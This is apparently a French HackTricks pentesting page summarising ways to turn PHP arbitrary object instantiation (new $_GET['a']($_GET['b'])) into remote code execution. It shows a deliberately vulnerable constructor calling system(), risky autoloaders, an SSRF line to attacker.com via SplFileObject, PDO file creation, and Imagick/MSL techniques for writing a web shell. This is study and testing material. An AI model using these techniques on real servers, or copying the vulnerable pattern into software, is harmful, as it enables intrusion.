PHP - RCE abusant de la création d'objets : new $_GET["a"]($_GET["b"])

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Ceci est essentiellement un résumé de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introduction

La création de nouveaux objets arbitraires, tels que new $_GET["a"]($_GET["a"]), peut conduire à une exécution de code à distance (RCE), comme détaillé dans un writeup. Ce document met en évidence diverses stratégies pour atteindre la RCE.

RCE via des classes personnalisées ou l'autoloading

La syntaxe new $a($b) est utilisée pour instancier un objet où $a représente le nom de la classe et $b est le premier argument passé au constructeur. Ces variables peuvent provenir des entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types.

Considérez l'extrait de code ci-dessous :

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Dans ce cas, définir $a sur App ou App2 et $b sur une commande système (par exemple, uname -a) entraîne l'exécution de cette commande.

Les fonctions d'autoloading peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes à partir de fichiers lorsque cela est nécessaire et sont définies à l'aide de spl_autoload_register ou __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Le comportement de l'autoloading varie selon les versions de PHP, offrant différentes possibilités de RCE.

RCE via des classes intégrées

En l'absence de classes personnalisées ou d'autoloaders, les classes intégrées de PHP peuvent suffire pour le RCE. Le nombre de ces classes varie entre 100 et 200, en fonction de la version de PHP et des extensions. Elles peuvent être listées en utilisant get_declared_classes().

Les constructeurs d'intérêt peuvent être identifiés via l'API de réflexion, comme le montre l'exemple suivant et le lien https://3v4l.org/2JEGF.

Le RCE via des méthodes spécifiques inclut :

SSRF + Désérialisation Phar

La classe SplFileObject permet le SSRF via son constructeur, permettant des connexions à n'importe quelle URL :

php
new SplFileObject('http://attacker.com/');

SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 utilisant le protocole Phar.

Exploitation des PDO

Le constructeur de la classe PDO permet des connexions à des bases de données via des chaînes DSN, ce qui peut potentiellement permettre la création de fichiers ou d'autres interactions :

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs SoapClient et SimpleXMLElement, en fonction de la version de libxml2.

RCE via l'extension Imagick

Dans l'analyse des dépendances d'un projet, il a été découvert qu'Imagick pouvait être utilisé pour l'exécution de commandes en instanciant de nouveaux objets. Cela présente une opportunité d'exploiter des vulnérabilités.

Analyseur VID

La capacité de l'analyseur VID à écrire du contenu dans n'importe quel chemin spécifié dans le système de fichiers a été identifiée. Cela pourrait conduire à la mise en place d'un shell PHP dans un répertoire accessible via le web, réalisant ainsi une Exécution de Code à Distance (RCE).

Analyseur VID + Téléchargement de fichiers

Il est noté que PHP stocke temporairement les fichiers téléchargés dans /tmp/phpXXXXXX. L'analyseur VID dans Imagick, utilisant le protocole msl, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour réaliser une écriture de fichiers arbitraire dans le système de fichiers.

Plantage PHP + Brute Force

Une méthode décrite dans le document original implique le téléchargement de fichiers qui déclenchent un plantage du serveur avant leur suppression. En forçant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est révélée efficace uniquement dans une version obsolète d'ImageMagick.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks